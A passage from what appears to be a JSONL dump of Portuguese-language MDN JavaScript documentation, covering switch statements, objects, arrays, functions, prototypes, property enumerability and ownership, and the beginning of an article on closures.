donothing();\n}\n```\n\n\nSe você não adicionar a instrução `break`, a execução irá \"cair\" no próximo nível. Isso é algo que raramente vai querer fazer — de fato vale mais a pena colocar um comentário especificando essa \"queda\" para o próximo nível, pois isso o ajudará na hora de fazer a depuração de seu código:\n\n\n```js\nswitch (a) {\n  case 1: // queda\n  case 2:\n    eatit();\n    break;\n  default:\n    donothing();\n}\n```\n\n\nA cláusula default é opcional. Se quiser, pode colocar expressões tanto no switch como nos cases; Comparações acontecem entre os dois usando o operador `===`:\n\n\n```js\nswitch (1 + 3) {\n  case 2 + 2:\n    yay();\n    break;\n  default:\n    neverhappens();\n}\n```\n\nObjetos\n-------\n\nObjetos JavaScript são simplesmente coleções de pares nome-valor. Como tal, eles são similares à:\n\n* Dicionários em Python\n* Hashes em Perl e Ruby\n* Hash tables em C e C++\n* HashMaps em Java\n* Vetores associativos em PHP\n\nEsse tipo de estrutura de dados é largamente utilizada, o que atesta sua versatilidade. Uma vez que tudo em JavaScript é um objeto (tipos básicos principais), qualquer programa JavaScript naturalmente envolve uma grande quantidade de buscas em tabelas hash, o que é algo bom, pois elas são bem rápidas!\n\nA parte \"name\" é uma string JavaScript, enquanto o valor pode ser qualquer valor JavaScript — incluindo mais objetos. Isso permite que você construa estruturas de dados de qualquer complexidade.\n\nHá basicamente duas formas de criar um objeto vazio:\n\n\n```js\nvar obj = new Object();\n```\n\n\ne:\n\n\n```js\nvar obj = {};\n```\n\n\nElas são semanticamente equivalentes; a segunda forma é chamada de sintaxe de objeto literal e é mais conveniente. Essa sintaxe é também o coração do formato JSON e deveria ser sempre preferida.\n\nUma vez criada, as propriedades de um objeto podem novamente ser acessadas de uma das seguintes formas:\n\n\n```js\nobj.name = \"Simon\";\nvar name = obj.name;\n```\n\n\nE...\n\n\n```js\nobj[\"name\"] = \"Simon\";\nvar name = obj[\"name\"];\n```\n\n\nEstas também são semânticamente equivalentes. A segunda forma tem a vantagem de que o valor da chave é passado através de uma string, que pode ser calculada em tempo de execução, muito embora esse método previna o uso de alguns mecanismos tais como a otimização e a minificação. Outra vantagem é a possibilidade de se atribuir palavras-reservadas aos nomes das propriedades:\n\n\n```js\nobj.for = \"Simon\"; // Erro de sintaxe, pois 'for' é uma palavra reservada\nobj[\"for\"] = \"Simon\"; // Funciona bem\n```\n\n\nA sintaxe de objeto literal pode ser usada para inicializar completamente um objeto:\n\n\n```js\nvar obj = {\n  name: \"Carrot\",\n  for: \"Max\",\n  details: {\n    color: \"orange\",\n    size: 12,\n  },\n};\n```\n\n\nO acesso aos atributos podem ser encadeados:\n\n\n```js\n> obj.details.color\norange\n> obj[\"details\"][\"size\"]\n12\n```\n\nVetores\n-------\n\nVetores em JavaScript são, de fato, um tipo especial de objeto. Eles funcionam de forma muito similar à objetos regulares (propriedades numéricas podem naturalmente ser acessadas somente usando a sintaxe [], colchetes ), porém eles tem uma propriedade mágica chamada '`length`'. Ela sempre é o maior índice de um vetor mais 1.\n\nA forma tradicional de se criar um vetor em JavaScript é a seguinte:\n\n\n```js\n> var a = new Array();\n> a[0] = \"dog\";\n> a[1] = \"cat\";\n> a[2] = \"hen\";\n> a.length\n3\n```\n\n\nExiste uma notação mais conveniente usando um vetor literal:\n\n\n```js\n> var a = [\"dog\", \"cat\", \"hen\"];\n> a.length\n3\n```\n\n\nDeixar uma vírgula à direita no final de um vetor literal gerará inconsistência entre os navegadores, portanto não faça isso.\n\nNote que `array.length` não é necessariamente o número de itens em um vetor. Considere o seguinte:\n\n\n```js\n> var a = [\"dog\", \"cat\", \"hen\"];\n> a[100] = \"fox\";\n> a.length\n101\n```\n\n\nLembre-se — o tamanho de um vetor é o maior índice mais 1.\n\nSe você fizer referência a um índice de vetor inexistente, obterá um `undefined`:\n\n\n```js\n> typeof a[90]\nundefined\n```\n\n\nVocê pode iterar sobre um vetor da seguinte forma:\n\n\n```js\nfor (var i = 0; i < a.length; i++) {\n  // Faça algo com a[i]\n}\n```\n\n\nIsso é um pouco ineficaz visto que você está procurando a propriedade length uma vez a cada iteração. Uma melhoria poderia ser:\n\n\n```js\nfor (var i = 0, len = a.length; i < len; i++) {\n  // Faça algo com a[i]\n}\n```\n\n\nUma forma mais elegante ainda poderia ser:\n\n\n```js\nfor (var i = 0, item; (item = a[i++]); ) {\n  // Faça algo com item\n}\n```\n\n\nAqui nós estamos declarando duas variáveis. A atribuição na parte do meio do laço `for` é também testada — se for verdadeira, o laço continuará. Uma vez que o `i` é incrementado toda vez, os itens do array serão atribuídos a variável item sequencialmente. A iteração é finalizada quando item \"falsy\" é encontrado (tal como o `undefined`, false ou zero).\n\nNote que esse truque só deveria ser usado em vetores que você sabe não conter valores \"falsy\" (vetores de objeto ou nós DOM por exemplo). Se você iterar sobre dados numéricos que possam ter o 0 ou sobre dados string que possam ter uma string vazia, você deveria usar a segunda forma como alternativa.\n\nUma outra forma de iterar é usar o laço `for...in`. Note que se alguém adicionou novas propriedades ao `Array.prototype`, elas também podem ser iteradas usando este laço:\n\n\n```js\nfor (var i in a) {\n  // Do something with a[i]\n}\n```\n\n\nSe quiser adicionar um item a um vetor, simplesmente faça desse jeito:\n\n\n```js\na[a.length] = item; // é o mesmo que a.push(item);\n```\n\n\nVetores vem com vários métodos:\n\n| Nome do método | Descrição |\n| --- | --- |\n| `a.toString()` | Retorna uma string com o toString()de cada elemento separado por vírgulas. |\n| `a.toLocaleString()` | Retorna uma string com o toLocaleString()de cada elemento separado por vírgulas. |\n| `a.concat(item[, itemN])` | Retorna um novo vetor com os itens adicionados nele. |\n| `a.join(sep)` | Converte um vetor em uma string com os valores do vetor separados pelo valor do parâmetro sep |\n| `a.pop()` | Remove e retorna o último item. |\n| `a.push(item[, itemN])` | `Push` adiciona um ou mais itens ao final. |\n| `a.reverse()` | Reverte o vetor. |\n| `a.shift()` | Remove e retorna o primeiro item. |\n| `a.slice(start, end)` | Retorna um sub-vetor. |\n| `a.sort([cmpfn])` | Prover uma função opcional para fazer a comparação. |\n| `a.splice(start, delcount[, itemN])` | Permite que você modifique um vetor por apagar uma seção e substituí-lo com mais itens. |\n| `a.unshift([item])` | Acrescenta itens ao começo do vetor. |\n\nFunções\n-------\n\nJunto com objetos, funções são os componentes principais para o entendimento do JavaScript. A função mais básica não poderia ser mais simples:\n\n\n```js\nfunction add(x, y) {\n  var total = x + y;\n  return total;\n}\n```\n\n\nIsso demonstra tudo o que há para se saber sobre funções básicas. Uma função JavaScript pode ter 0 ou mais parâmetros declarados. O corpo da função pode conter tantas instruções quantas quiser e pode declarar suas próprias variáveis que são de escopo local àquela função. A instrução `return` pode ser usada para retornar um valor em qualquer parte da função, finalizando a função. Se nenhuma instrução de retorno for usada (ou um retorno vazio sem valor), o JavaScript retorna `undefined`.\n\nOs parâmetros nomeados se parecem mais com orientações do que com outra coisa. Você pode chamar a função sem passar o parâmetro esperado, nesse caso eles receberão o valor `undefined`.\n\n\n```js\n> add()\nNaN // Você não pode executar adição em undefined\n```\n\n\nVocê também pode passar mais argumentos do que a função está esperando:\n\n\n```js\n> add(2, 3, 4)\n5 // adicionado os dois primeiros; 4 foi ignorado\n```\n\n\nPode parecer um pouco bobo, mas no corpo da função você tem acesso a uma variável adicional chamada `arguments`, que é um objeto parecido com um vetor que contém todos os valores passados para a função. Vamos rescrever a função add para tomarmos tantos valores quanto quisermos:\n\n\n```js\nfunction add() {\n    var sum = 0;\n    for (var i = 0, j = arguments.length; i < j; i++) {\n        sum += arguments[i];\n    }\n    return sum;\n}\n\n> add(2, 3, 4, 5)\n14\n```\n\n\nIsso realmente não é muito mais útil do que escrever `2 + 3 + 4 + 5`. Vamos criar uma função para calcular média:\n\n\n```js\nfunction avg() {\n    var sum = 0;\n    for (var i = 0, j = arguments.length; i < j; i++) {\n        sum += arguments[i];\n    }\n    return sum / arguments.length;\n}\n> avg(2, 3, 4, 5)\n3.5\n```\n\n\nIsso é muito útil, mas introduz um novo problema. A função `avg()` precisa de uma lista de argumentos separados por vírgula — mas e se o que quiser for procurar a média de um vetor? Você poderia apenas rescrever a função da seguinte forma:\n\n\n```js\nfunction avgArray(arr) {\n    var sum = 0;\n    for (var i = 0, j = arr.length; i < j; i++) {\n        sum += arr[i];\n    }\n    return sum / arr.length;\n}\n> avgArray([2, 3, 4, 5])\n3.5\n```\n\n\nPorém, seria legal se pudéssemos reusar a função que já tínhamos criado. Felizmente, JavaScript lhe permite chamar a função, e chamá-la com um conjunto arbitrário de argumentos, usando o método `apply()` presente em qualquer objeto função.\n\n\n```js\n> avg.apply(null, [2, 3, 4, 5])\n3.5\n```\n\n\nO segundo argumento do `apply()` é o vetor para usar como argumento; o primeiro será discutido mais tarde. Isso enfatiza o fato que funções também são objetos.\n\nJavaScript lhe permite criar funções anônimas.\n\n\n```js\nvar avg = function () {\n  var sum = 0;\n  for (var i = 0, j = arguments.length; i < j; i++) {\n    sum += arguments[i];\n  }\n  return sum / arguments.length;\n};\n```\n\n\nIsso é semanticamente equivalente a forma `function avg()`. É extremamente poderoso como ele lhe permite colocar a definição completa de uma função em qualquer lugar, que você normalmente poria uma expressão. Isso lhe permite todo tipo de truques engenhosos. Aqui está uma maneira de \"esconder\" algumas variáveis locais — como escopo de bloco em C:\n\n\n```js\n> var a = 1;\n> var b = 2;\n> (function() {\n    var b = 3;\n    a += b;\n})();\n> a\n4\n> b\n2\n```\n\n\nJavaScript lhe permite chamar funções recursivamente. Isso é particularmente útil quando estamos lidando com estruturas de árvore, como quando estavamos navegando no DOM.\n\n\n```js\nfunction countChars(elm) {\n  if (elm.nodeType == 3) {\n    // TEXT\\_NODE\n    return elm.nodeValue.length;\n  }\n  var count = 0;\n  for (var i = 0, child; (child = elm.childNodes[i]); i++) {\n    count += countChars(child);\n  }\n  return count;\n}\n```\n\n\nIsso destaca um problema potencial com funções anônimas: Como chamá-las recursivamente se elas não tem um nome? JavaScript lhe permite nomear expressões de função para isso. Você pode usar EFIIs nomeadas (Expressões Funcionais Imediatamente Invocadas), conforme abaixo:\n\n\n```js\nvar charsInBody = (function counter(elm) {\n  if (elm.nodeType == 3) {\n    // TEXT\\_NODE\n    return elm.nodeValue.length;\n  }\n  var count = 0;\n  for (var i = 0, child; (child = elm.childNodes[i]); i++) {\n    count += counter(child);\n  }\n  return count;\n})(document.body);\n```\n\n\nO nome provido para a função anônima conforme acima só é (ou no mínimo só deveria ser) visível ao escopo da própria função. Isso tanto permite que mais otimizações sejam feitas pela engine como deixa o código mais legível.\n\nObjetos Personalizados\n----------------------\n\n**Nota:** Para uma discursão mais detalhada de programação orientada a objetos em JavaScript, veja Introdução a JavaScript Orientado a Objeto.\n\nNa clássica Programação Orientada a Objetos, objetos são coleções de dados e métodos que operam sobre esses dados. JavaScript é uma linguagem baseada em protótipos que não contém a estrutura de classe, como tem em C++ e Java. (Algumas vezes isso é algo confuso para o programador acostumado a linguagens com estrutura de classe). Em vez disso, JavaScript usa funções como classes. Vamos considerar um objeto pessoa com os campos primeiro e último nome. Há duas formas em que o nome talvez possa ser exibido: como \"primeiro nome segundo nome\" ou como \"último nome, primeiro nome\". Usando as funções e objetos que discutimos anteriormente, aqui está uma forma de fazer isso:\n\n\n```js\nfunction makePerson(first, last) {\n    return {\n        first: first,\n        last: last\n    }\n}\nfunction personFullName(person) {\n    return person.first + ' ' + person.last;\n}\nfunction personFullNameReversed(person) {\n    return person.last + ', ' + person.first\n}\n> s = makePerson(\"Simon\", \"Willison\");\n> personFullName(s)\nSimon Willison\n> personFullNameReversed(s)\nWillison, Simon\n```\n\n\nIsso funciona, mas é muito feio. Você termina com dúzias de funções em seu escopo global. O que nós realmente precisamos é uma forma de anexar uma função a um objeto. Visto que funções são objetos, isso é fácil:\n\n\n```js\nfunction makePerson(first, last) {\n    return {\n        first: first,\n        last: last,\n        fullName: function() {\n            return this.first + ' ' + this.last;\n        },\n        fullNameReversed: function() {\n            return this.last + ', ' + this.first;\n        }\n    }\n}\n> s = makePerson(\"Simon\", \"Willison\")\n> s.fullName()\nSimon Willison\n> s.fullNameReversed()\nWillison, Simon\n```\n\n\nHá algo aqui que não havíamos visto anteriormente: a palavra-chave '`this`'. Usada dentro de uma função, '`this`' refere-se ao objeto corrente. O que aquilo de fato significa é especificado pelo modo em que você chamou aquela função. Se você chamou-a usando notação ponto ou notação colchete em um objeto, aquele objeto torna-se '`this`'. Se a notação ponto não foi usada pela chamada, '`this`' refere-se ao objeto global. Isso é uma frequente causa de erros. Por exemplo:\n\n\n```js\n> s = makePerson(\"Simon\", \"Willison\")\n> var fullName = s.fullName;\n> fullName()\nundefined undefined\n```\n\n\nQuando chamamos `fullName()`, '`this`' está ligado ao objeto global. Visto que não há variáveis globais chamadas `first` ou `last` obtemos `undefined` para cada um.\n\nPodemos tirar vantagem da palavra chave '`this`' para melhorar nossa função `makePerson`:\n\n\n```js\nfunction Person(first, last) {\n  this.first = first;\n  this.last = last;\n  this.fullName = function () {\n    return this.first + \" \" + this.last;\n  };\n  this.fullNameReversed = function () {\n    return this.last + \", \" + this.first;\n  };\n}\nvar s = new Person(\"Simon\", \"Willison\");\n```\n\n\nNós introduzimos uma outra palavra-chave: '`new`'. `new` é fortemente relacionada a '`this`'. O que ele faz é criar um novo objeto vazio, e então chamar a função especificada com '`this`' para atribuir aquele novo objeto. Funções que são desenhadas para ser chamadas pelo '`new`' são chamadas de funções construtoras. Uma prática comum é capitular essas funções como um lembrete de chamá-las com o `new`.\n\nNossos objetos pessoa estão ficando melhor mas ainda existem algumas arestas feias. Toda vez que criamos um objeto pessoa, criamos duas marcas de nova função dentro dele — não seria melhor se este código fosse compartilhado?\n\n\n```js\nfunction personFullName() {\n  return this.first + \" \" + this.last;\n}\nfunction personFullNameReversed() {\n  return this.last + \", \" + this.first;\n}\nfunction Person(first, last) {\n  this.first = first;\n  this.last = last;\n  this.fullName = personFullName;\n  this.fullNameReversed = personFullNameReversed;\n}\n```\n\n\nAssim está melhor: estamos criando as funções de método apenas uma vez, e atribuimos referências para elas dentro do construtor. Podemos fazer algo melhor do que isso? A resposta é sim:\n\n\n```js\nfunction Person(first, last) {\n  this.first = first;\n  this.last = last;\n}\nPerson.prototype.fullName = function () {\n  return this.first + \" \" + this.last;\n};\nPerson.prototype.fullNameReversed = function () {\n  return this.last + \", \" + this.first;\n};\n```\n\n\n`Person.prototype` é um objeto compartilhado por todas as instâncias de `Person`. Este forma parte da cadeia de buscas (que tem um nome especial, cadeia de protótipos ou \"prototype chain\"): toda a vez que você tentar acessar uma propriedade de `Person` que não está configurada, Javascript irá verificar em `Person.prototype` para ver se esta propriedade existe por lá. Como resultado, qualquer coisa atribuída à `Person.prototype` torna-se disponível para todas as instâncias deste construtor, através do objeto `this`.\n\nEsta é uma ferramenta incrivelmente poderosa. JavaScript permite a você modificar algo prototipado em qualquer momento no seu programa. Isto significa que você pode adicionar métodos extras para objetos pré-existentes, em tempo de execução:\n\n\n```js\n> s = new Person(\"Simon\", \"Willison\");\n> s.firstNameCaps();\nTypeError on line 1: s.firstNameCaps is not a function\n> Person.prototype.firstNameCaps = function() {\n    return this.first.toUpperCase()\n}\n> s.firstNameCaps()\nSIMON\n```\n\n\nCuriosamente, você pode também adicionar coisas para o protótipo de objetos built-in de Javascript. Vamos adicionar um método para `String` que retorna a string invertida:\n\n\n```js\n> var s = \"Simon\";\n> s.reversed()\nTypeError on line 1: s.reversed is not a function\n> String.prototype.reversed = function() {\n    let start = 0, end = this.length - 1\n    result = new Array(this.length)\n    while(start <= end) {\n      result[start] = this[end]\n      result[end] = this[start]\n      start++, end--\n    }\n    return result.join('')\n}\n> s.reversed()\nnomiS\n```\n\n\nNosso novo método funciona inclusive em string literais!\n\n\n```js\n> \"This can now be reversed\".reversed()\ndesrever eb won nac sihT\n```\n\n\nComo antes mencionado, o protótipo forma parte de uma cadeia. A raiz dessa cadeia é `Object.prototype`, dos quais inclui o método `toString()` — este é o método que é chamado quando você tenta representar um objeto como uma string. Isto é útil para depurar os nossos objetos `Person`:\n\n\n```js\n> var s = new Person(\"Simon\", \"Willison\");\n> s\n[object Object]\n> Person.prototype.toString = function() {\n    return '<Person: ' + this.fullName() + '>';\n}\n> s\n<Person: Simon Willison>\n```\n\n\nLembra como `avg.apply()` tinha um primeiro argumento null? Nós podemos revisitar isto, agora. O primeiro argumento para `apply()` é o objeto que deve ser tratado como '`this`'. Por exemplo, aqui está uma implementação trivial de '`new`':\n\n\n```js\nfunction trivialNew(constructor, ...args) {\n  var o = {}; // Create an object\n  constructor.apply(o, args);\n  return o;\n}\n```\n\n\nIsto não é exatamente uma réplica de `new` porque não configura a cadeia de protótipos. `apply()` é difícil de ilustrar — não é algo que você usa com frequência, mas é útil conhecer a respeito. No código acima, `...args` é chamado de \"argumentos rest\" — como o nome indica, isto contém o restante dos parâmetros.\n\nAo chamar\n\n\n```js\nvar bill = trivialNew(Person, \"Willian\", \"Orange\");\n```\n\n\né equivalente a\n\n\n```js\nvar bill = new Person(\"Willian\", \"Orange\");\n```\n\n\n`apply()` tem uma função irmã de nome `call`, que novamente permite você configurar o '`this`' mas toma uma lista expandida de argumentos, ao invés de um array.\n\n\n```js\nfunction lastNameCaps() {\n  return this.last.toUpperCase();\n}\nvar s = new Person(\"Simon\", \"Willison\");\nlastNameCaps.call(s);\n// Is the same as:\ns.lastNameCaps = lastNameCaps;\ns.lastNameCaps();\n```\n\nFunções Internas\n----------------\n\nEm JavaScript é permitido declarar uma função dentro de outras funções. Nós já vimos isso antes, com uma versão preliminar da função `makePerson()`. Um detalhe importante sobre funções aninhadas em JavaScript é que elas podem acessar as variáveis do escopo das funções parente:\n\n\n```js\nfunction parentFunc() {\n  var a = 1;\n\n  function nestedFunc() {\n    var b = 4; // parentFunc can't use this\n    return a + b;\n  }\n  return nestedFunc(); // 5\n}\n```\n\n\nIsto permite um compromisso maior de utilidade ao escrever um código de melhor mantenibilidade. Se uma função depende de uma ou mais funções que não são úteis para outras parte do seu código, você pode aninhar estas funções utilitárias dentro da função que será chamada. Isto mantém o número de funções que estão no escopo global baixo, o que é sempre uma boa coisa.\n\nIsto é também um ótimo contador de atração de variáveis globais. Quando se escreve um código complexo, é sempre tentador usar as variáveis globais para compartilhar valores entre múltiplas funções — do qual leva a um código que é difícil de manter. Funções aninhadas podem compartilhar variáveis em seus parentes, então você pode usar este mecanismo para acoplar e juntar funções, quando isto fizer sentido, sem poluir o seu \"namespace\" global — 'globais locais' se preferir. Esta técnica deve ser usada com cautela, mas é uma habilidade a se ter.\n\nClausuras (Closures)\n--------------------\n\nIsto nos leva a uma das abstrações mais poderosas que JavaScript tem a oferecer — mas também a mais potencionalmente confusa. O que isto faz?\n\n\n```js\nfunction makeAdder(a) {\n  return function (b) {\n    return a + b;\n  };\n}\nvar x = makeAdder(5);\nvar y = makeAdder(20);\nx(6); // ?\ny(7); // ?\n```\n\n\nO nome da função `makeAdder` já diz tudo: ela cria novas funções 'adder', na qual, quando chamada com um argumento, adiciona o argumento com a que foi criada.\n\nO que está acontecendo aqui é muito parecido com o que estava acontencedo com as funções internas vistas anterioremente: uma função definida dentro de uma outra função tem acessso às variáveis da função de fora. A única diferença aqui é que a função de fora retornou e, como consequência do senso comum, deve dizer que todas as variáveis locais não existem mais. Mas elas *ainda* existem — caso contrário a função adicionadora não seria capaz de funcionar. Mais ainda, há duas \"cópias\" diferentes de variáveis locais para `makeAdder` — uma na qual o `a` é 5 e a outra na qual `a` é 20. Então, o resultado dessas chamadas de funções é o seguinte:\n\n\n```js\nx(6); // returns 11\ny(7); // returns 27\n```\n\n\nEis o que acontece na verdade: sempre que o JavaScript executa uma função, um objeto de 'escopo' é criado para guardar as variáveis locais criadas dentro desta função. Ela é inicializada com quaisquer variáveis passadas como parâmetros da função. Isto é similar ao objeto global, em que todas as variáveis globais e funções vivem, mas com algumas diferenças importantes: primeiro, um novo objeto de escopo é criado toda a vez que uma função começa a executar, e segundo, diferente do objeto global (que nos navegadores é acessado com `window`) estes objetos não podem ser diretamente acessados através do seu código JavaScript. Não há nenhum mecanismo para iterar sobre as propriedades do escopo corrente do objeto, por exemplo.\n\nEntão, quando `makeAdder` é chamado, um objeto de escopo é criado com uma única propriedade: `a`, a qual é o argumento passado para a função `makeAdder`. `makeAdder` então retorna uma nova função criada. Normalmente o coletor de lixo de JavaScript poderia limpar o objeto de escopo criado para `makeAdder` neste ponto, mas a função de retorno mantém uma referência ao objeto de escopo. Como resultado, o objeto de escopo não será coletado como lixo até que não haja mais referências para função objeto que `makeAdder` retornou.\n\nObjetos de escopo formam uma cadeia chamada de cadeia de escopos, similar a cadeia de protótipos usadas no sistema de objetos de JavaScript.\n\nUma clausura é a combinação de uma função e o objeto de escopo na qual é criado. Clausuras permitem você guardar estado — de tal forma, elas podem ser frequentemente utilizadas no lugar de objetos."}
{"title":"Enumerabilidade e posse de propriedades - JavaScript","text":"Enumerabilidade e posse de propriedades\n=======================================\n\n\n Propriedades enumeráveis são aquelas propriedades cuja flag interna [[Enumerable]] é verdadeira (true), que é o padrão para propriedades criadas via assinatura simples ou através de um inicializador (propriedades definidas através de Object.defineProperty e tipo padrão [[Enumerable]] falso (false)).Propriedades enumeráveis aparecem em for...in loops exceto se o nome da propriedade for um objeto Symbol. Posse de propriedades é determinada pelo fato da propriedade pertencer ao objeto diretamente e não a uma cadeira de protótipos. Propriedades de um objeto pode também ser recuperadas diretamente. Há um número de built-in de detecção, iteração/enumeração e recuperação de propriedades, com o gráfico mostrando que estão disponíveis.O código de exemplo a seguir demostra como obter as categorias que faltam.\n\n Propriedade de enumerabilidade e posse - métodos internos de detecção,\n recuperação, e iteração\n | Funcionalidade | Próprio objeto | Próprio objeto e sua cadeia de caracteres | Somente cadeia de protótipos |\n| --- | --- | --- | --- |\n| Detecção | \n\n| Enumerável | Não enumerável | Enumerável e Não enumerável |\n| --- | --- | --- |\n| `propertyIsEnumerable (en-US)` | `hasOwnProperty`\n e não\n `propertyIsEnumerable (en-US)` | `hasOwnProperty` |\n\n | Não disponível sem código extra | Não disponível sem código extra |\n| Recuperação | \n\n| Enumerável | Não enumerável | Enumerável e Não enumerável |\n| --- | --- | --- |\n| `Object.keys (en-US)` | `getOwnPropertyNames (en-US)`\n filtrou-se para incluir as propriedades quando não passado\n `propertyIsEnumerable (en-US)` | `getOwnPropertyNames (en-US)` |\n\n | Não disponível sem código extra | Não disponível sem código extra |\n| Iteração | \n\n| Enumerável | Não enumerável | Enumerável e Não enumerável |\n| --- | --- | --- |\n| \n Iterar\n `Object.keys (en-US)` | \n itera\n `getOwnPropertyNames (en-US)` filtrou-se para incluir as propriedades quando não passado\n `propertyIsEnumerable (en-US)`\n | `iterargetOwnPropertyNames (en-US)` |\n\n | \n\n| Enumerável | Não enumerável | Enumerável e Não enumerável |\n| --- | --- | --- |\n| `for..in (en-US)` | Não disponível sem código extra | Não disponível sem código extra |\n\n | Não disponível sem código extra |\n\nObtendo propriedades por enumerabilidade/posse\n----------------------------------------------\n\nNote que não é o algoritmo mais eficiente para todos os casos, mas útil para uma demonstração rápida.\n\n* Detecção pode ocorrer por `SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) > -1`\n* Iteração pode ocorrer por `SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});` (ou use `filter()`, `map()`, etc.)\n\n\n```js\nvar SimplePropertyRetriever = {\n  getOwnEnumerables: function (obj) {\n    return this.\\_getPropertyNames(obj, true, false, this._enumerable);\n    // Ou poderia usar for..in filtrado com hasOwnProperty ou apenas isto: return Object.keys(obj);\n  },\n  getOwnNonenumerables: function (obj) {\n    return this.\\_getPropertyNames(obj, true, false, this._notEnumerable);\n  },\n  getOwnEnumerablesAndNonenumerables: function (obj) {\n    return this.\\_getPropertyNames(\n      obj,\n      true,\n      false,\n      this._enumerableAndNotEnumerable,\n    );\n    // Ou apenas use: return Object.getOwnPropertyNames(obj);\n  },\n  getPrototypeEnumerables: function (obj) {\n    return this.\\_getPropertyNames(obj, false, true, this._enumerable);\n  },\n  getPrototypeNonenumerables: function (obj) {\n    return this.\\_getPropertyNames(obj, false, true, this._notEnumerable);\n  },\n  getPrototypeEnumerablesAndNonenumerables: function (obj) {\n    return this.\\_getPropertyNames(\n      obj,\n      false,\n      true,\n      this._enumerableAndNotEnumerable,\n    );\n  },\n  getOwnAndPrototypeEnumerables: function (obj) {\n    return this.\\_getPropertyNames(obj, true, true, this._enumerable);\n    // Ou poderia usar filtrado for..in\n  },\n  getOwnAndPrototypeNonenumerables: function (obj) {\n    return this.\\_getPropertyNames(obj, true, true, this._notEnumerable);\n  },\n  getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {\n    return this.\\_getPropertyNames(\n      obj,\n      true,\n      true,\n      this._enumerableAndNotEnumerable,\n    );\n  },\n  // Private static property checker callbacks\n  \\_enumerable: function (obj, prop) {\n    return obj.propertyIsEnumerable(prop);\n  },\n  \\_notEnumerable: function (obj, prop) {\n    return !obj.propertyIsEnumerable(prop);\n  },\n  \\_enumerableAndNotEnumerable: function (obj, prop) {\n    return true;\n  },\n  // Inspirado por http://stackoverflow.com/a/8024294/271577\n  \\_getPropertyNames: function getAllPropertyNames(\n    obj,\n iterateSelfBool,\n iteratePrototypeBool,\n includePropCb,\n  ) {\n    var props = [];\n\n    do {\n      if (iterateSelfBool) {\n        Object.getOwnPropertyNames(obj).forEach(function (prop) {\n          if (props.indexOf(prop) === -1 && includePropCb(obj, prop)) {\n            props.push(prop);\n          }\n        });\n      }\n      if (!iteratePrototypeBool) {\n        break;\n      }\n      iterateSelfBool = true;\n    } while ((obj = Object.getPrototypeOf(obj)));\n\n    return props;\n  },\n};\n```\n\nTabela de Detecção\n------------------\n\n|  | `in` | `for..in` | `hasOwnProperty` | `propertyIsEnumerable` | `in Object.keys` | `in Object.getOwnPropertyNames` | in Object.getOwnPropertyDescriptors |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| Enumerável | true | true | true | true | true | true | true |\n| Não enumerável | true | false | true | false | false | true | true |\n| Inherited Enumerable | true | true | false | false | false | false | false |\n| Inherited Nonenumerable | true | false | false | false | false | false | false |\n| Account for Symbols keys | true | false | true | true | false | false | true |\n\nVeja também\n-----------\n\n* `in` (en-US)\n* `for..in` (en-US)\n* `hasOwnProperty`\n* `propertyIsEnumerable` (en-US)\n* `getOwnPropertyNames` (en-US)\n* `Object.keys` (en-US)\n* `Object.getOwnPropertyDescriptors`"}
{"title":"Closures - JavaScript","text":"Closures\n========\n\nUma **closure** é a combinação de uma função com as referências ao estado que a circunda (o **ambiente léxico**). Em outras palavras, uma closure lhe dá acesso ao escopo de uma função externa a partir de uma função interna. Em JavaScript, as closures são criadas toda vez que uma função é criada, no momento da criação da função.\n\nEscopo léxico\n-------------\n\nConsidere a função abaixo:\n\n\n```js\nfunction init() {\n  var name = \"Mozilla\"; // name é uma variável local criada pelo init\n  function displayName() {\n    // displayName() é a função interna, uma closure\n    console.log(name); // usa a variável declarada na função pai\n  }\n  displayName();\n}\ninit();\n```\n\n\nA função `init()` cria uma variável local chamada `name`, e depois define uma função chamada `displayName()`. `displayName()` é uma função aninhada (uma *closure*) — ela é definida dentro da função `init()`, e está disponivel apenas dentro do corpo daquela função. Diferente de init(), `displayName()` não tem variáveis locais próprias, e ao invés disso reusa a variável `name` declarada na função pai.\n\nRode o código e veja que isso funciona. Este é um exemplo de *escopo léxico:* em JavaScript, o escopo de uma variável é definido por sua localização dentro do código fonte (isto é aparentemente *léxico*) e funções aninhadas têm acesso às variáveis declaradas em seu escopo externo.\n\nClosure\n-------\n\nAgora considere o seguinte exemplo:\n\n\n```js\nfunction makeFunc() {\n  var name = \"Mozilla\";\n  function displayName() {\n    alert(name);\n  }\n  return displayName;\n}\n\nvar myFunc = makeFunc();\nmyFunc();\n```\n\n\nSe você rodar este código o mesmo terá exatamente o mesmo efeito que o `init()` do exemplo anterior: a palavra \"Mozilla\" será mostrada na caixa de alerta. O que é diferente - e interessante - é o fato de que a função interna do `displayName()` foi retornada da função externa antes de ser executada.\n\nPode parecer não muito intuitivo de que o código de fato funciona. Normalmente variáveis locais de uma função, apenas existem pela duração de sua execução. Uma vez que `makeFunc()` terminou de executar, é razoável esperar que a variável `name` não será mais necessária. Dado que o código ainda funciona como o esperado, este não é o caso.\n\nA solução para tal problema é que a função `myFunc` tornou-se uma `closure`. Uma closure trata-se de um tipo especial de objeto que combina duas coisas: a função e o ambiente onde a função foi criada. Este ambiente consiste de quaisquer variáveis que estavam no escopo naquele momento em que a função foi criada. Neste caso, `myFunc` é a closure que incorpora tanto a função `displayName` quanto a palavra *Mozilla* que existia quando a closure foi criada.\n\nAqui temos um exemplo um pouco mais interessante, a função `makeAdder`:\n\n\n```js\nfunction makeAdder(x) {\n  return function (y) {\n    return x + y;\n  };\n}\n\nvar add5 = makeAdder(5);\nvar add10 = makeAdder(10);\n\nprint(add5(2)); // 7\nprint(add10(2)); // 12\n```\n\n\nNeste exemplo definimos a função `makeAdder(x)` que toma um único argumento `x` e retorna uma nova função. A função retornada toma então um único argumento, `y`, e retorna então a soma de `x` e de `y`.\n\nNa essência o `makeAdder` trata-se de uma *função fábrica -* irá construir outras funções que podem adicionar um determinado valor específico a seu argumento. No exemplo acima usamos a fábrica de funções para criar duas novas funções - uma que adiciona 5 ao argumento, e outra que adiciona 10.\n\nAmbas as funções `add5` e `add10` são closures. Compartilham o mesmo corpo de definição de função mas armazenam diferentes ambientes. No ambiente da `add5`, por exemplo, `x` equivale a 5, enquanto na `add10` o valor de x é 10.\n\nClosures na prática\n-------------------\n\nEsta é a teoria — mas closures são realmente úteis? Vamos considerar suas aplicações práticas. Uma closure deixa você associar dados (do ambiente) com uma função que trabalha estes dados. Isto está diretamente ligado com programação orientada a objetos, onde objetos 